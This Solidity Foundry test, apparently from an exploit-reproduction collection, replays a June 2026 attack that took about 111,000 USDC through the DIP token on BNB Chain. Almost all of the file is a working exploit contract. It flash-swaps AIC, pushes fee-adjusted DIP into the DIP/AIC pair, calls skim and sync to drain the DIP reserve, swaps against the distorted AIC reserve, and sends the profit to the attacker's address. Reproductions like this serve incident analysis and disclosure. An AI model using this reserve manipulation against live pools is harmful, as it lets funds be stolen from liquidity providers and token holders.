src/test/2026-06/DIP_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3 
4import "../basetest.sol";
5 
6// @KeyInfo - Total Lost : 111,097.59 USDC
7// Attacker : 0x0d4024cd27538350a911d9b7ee90811fa4875ba3
8// Attack Contract : 0xddef10a85a5c67a9af8398d297aa51f8716383c7
9// Vulnerable Contract : 0x6c60bf5db0670ae94489d3dde2c60f271625db50
10// Victim : 0xf7d8267d01d1104da2dd30828aa9c0e1647919ef
11// Attack Tx : https://bscscan.com/tx/0x1c09395848a87069c9d6ddbe5adc6249510aba7a2a83479a74b4280cafb5fb29
12 
13// @Info
14// Vulnerable Contract Code : https://bscscan.com/address/0x6c60bf5db0670ae94489d3dde2c60f271625db50#code
15// Attack Contract Code: https://bscscan.com/address/0xddef10a85a5c67a9af8398d297aa51f8716383c7#code (open source)
16 
17// @Analysis
18// Twitter Guy : https://x.com/TenArmorAlert/status/2067059314519417163
19//
20// The attacker flash-swapped AIC, used DIP's sell fee plus double router-transfer bug to shrink the DIP/AIC
21// pair's DIP reserve with skim/sync, swapped the remaining DIP for nearly all pair AIC, repaid the flash swap,
22// and swapped residual AIC into USDC for the transaction sender.
23 
24address constant ATTACKER = 0x0d4024Cd27538350a911D9B7eE90811fa4875ba3;
25address constant AIC = 0x524c72268E2053bB356Ecb4C1364B5BB74644405;
26address constant DIP = 0x6C60bf5DB0670ae94489d3DdE2c60f271625dB50;
27address constant USDC = 0x8AC76a51cc950d9822D68b83fE1Ad97B32Cd580d;
28address constant PANCAKE_ROUTER = 0x10ED43C718714eb63d5aA57B78B54704E256024E;
29address constant AIC_NEX_PAIR = 0xF8331a897C5F32B57EAb394af8ADF0D00003CAE1;
30address constant AIC_DIP_PAIR = 0xF7D8267D01D1104Da2Dd30828aA9C0E1647919ef;
31 
32interface IERC20 {
33    function balanceOf(address account) external view returns (uint256);
34    function approve(address spender, uint256 amount) external returns (bool);
35    function transfer(address to, uint256 amount) external returns (bool);
36}
37 
38interface IPancakePair {
39    function swap(uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data) external;
40    function skim(address to) external;
41    function sync() external;
42}
43 
44interface IPancakeRouter {
45    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
46        uint256 amountIn,
47        uint256 amountOutMin,
48        address[] calldata path,
49        address to,
50        uint256 deadline
51    ) external;
52}
53 
54contract ContractTest is BaseTestWithBalanceLog {
55    function setUp() public {
56        uint256 forkBlock = 104_598_278;
57        vm.createSelectFork("bsc", forkBlock);
58        fundingToken = USDC;
59 
60        vm.label(ATTACKER, "Attacker");
61        vm.label(AIC, "AIC");
62        vm.label(DIP, "DIP");
63        vm.label(USDC, "USDC");
64        vm.label(PANCAKE_ROUTER, "Pancake Router");
65        vm.label(AIC_NEX_PAIR, "AIC/NEX Pair");
66        vm.label(AIC_DIP_PAIR, "AIC/DIP Pair");
67    }
68 
69    function testExploit() public balanceLog2(ATTACKER) {
70        DipExploit exploit = new DipExploit(ATTACKER);
71        vm.label(address(exploit), "Local Exploit Helper");
72 
73        uint256 usdcBefore = IERC20(USDC).balanceOf(ATTACKER);
74 
75        vm.prank(ATTACKER);
76        exploit.execute();
77 
78        uint256 usdcProfit = IERC20(USDC).balanceOf(ATTACKER) - usdcBefore;
79        emit log_named_decimal_uint("USDC profit", usdcProfit, 18);
80        assertGt(usdcProfit, 100_000 ether, "DIP exploit should leave USDC profit");
81    }
82}
83 
84contract DipExploit {
85    uint256 private constant FLASH_AIC_AMOUNT = 19_000_000 ether;
86    uint256 private constant PANCAKE_FEE_DENOMINATOR = 10_000;
87    uint256 private constant PANCAKE_FEE_ADJUSTED = 9_975;
88    uint256 private constant DIP_SELL_FEE = 6;
89    uint256 private constant DIP_FEE_DENOMINATOR = 100;
90 
91    address private immutable profitReceiver;
92 
93    constructor(address profitReceiver_) {
94        profitReceiver = profitReceiver_;
95    }
96 
97    function execute() external {
98        // step 1: borrow AIC from the AIC/NEX Pancake pair.
99        IPancakePair(AIC_NEX_PAIR).swap(FLASH_AIC_AMOUNT, 0, address(this), new bytes(1));
100 
101        // step 5: forward the remaining AIC profit through the AIC/USDC pair to the real tx sender.
102        _swap(AIC, USDC, IERC20(AIC).balanceOf(address(this)), profitReceiver);
103    }
104 
105    function pancakeCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) external {
106        require(msg.sender == AIC_NEX_PAIR, "unexpected callback pair");
107        require(sender == address(this), "unexpected callback sender");
108        require(amount0 == FLASH_AIC_AMOUNT && amount1 == 0, "unexpected flash amount");
109        require(data.length != 0, "missing callback data");
110 
111        // step 2: convert borrowed AIC to DIP through the vulnerable DIP/AIC pair.
112        _swap(AIC, DIP, IERC20(AIC).balanceOf(address(this)), address(this));
113 
114        // step 3: make the pair hold almost one extra reserve worth of DIP, then skim it to the router.
115        uint256 dipPairBalance = IERC20(DIP).balanceOf(AIC_DIP_PAIR);
116        // Keep the post-skim DIP reserve nonzero so the router can quote the next swap.
117        uint256 dipNetToPair = dipPairBalance - 1;
118        uint256 dipInput = (dipNetToPair * DIP_FEE_DENOMINATOR) / (DIP_FEE_DENOMINATOR - DIP_SELL_FEE);
119        IERC20(DIP).transfer(AIC_DIP_PAIR, dipInput);
120        IPancakePair(AIC_DIP_PAIR).skim(PANCAKE_ROUTER);
121        IPancakePair(AIC_DIP_PAIR).sync();
122 
123        // step 4: swap remaining DIP into the distorted AIC reserve and repay the flash swap.
124        _swap(DIP, AIC, IERC20(DIP).balanceOf(address(this)), address(this));
125        uint256 flashRepayment = (amount0 * PANCAKE_FEE_DENOMINATOR) / PANCAKE_FEE_ADJUSTED + 1;
126        IERC20(AIC).transfer(AIC_NEX_PAIR, flashRepayment);
127    }
128 
129    function _swap(address tokenIn, address tokenOut, uint256 amountIn, address receiver) private {
130        IERC20(tokenIn).approve(PANCAKE_ROUTER, amountIn);
131        address[] memory path = new address[](2);
132        path[0] = tokenIn;
133        path[1] = tokenOut;
134        IPancakeRouter(PANCAKE_ROUTER).swapExactTokensForTokensSupportingFeeOnTransferTokens(
135            amountIn, 0, path, receiver, block.timestamp
136        );
137    }
138}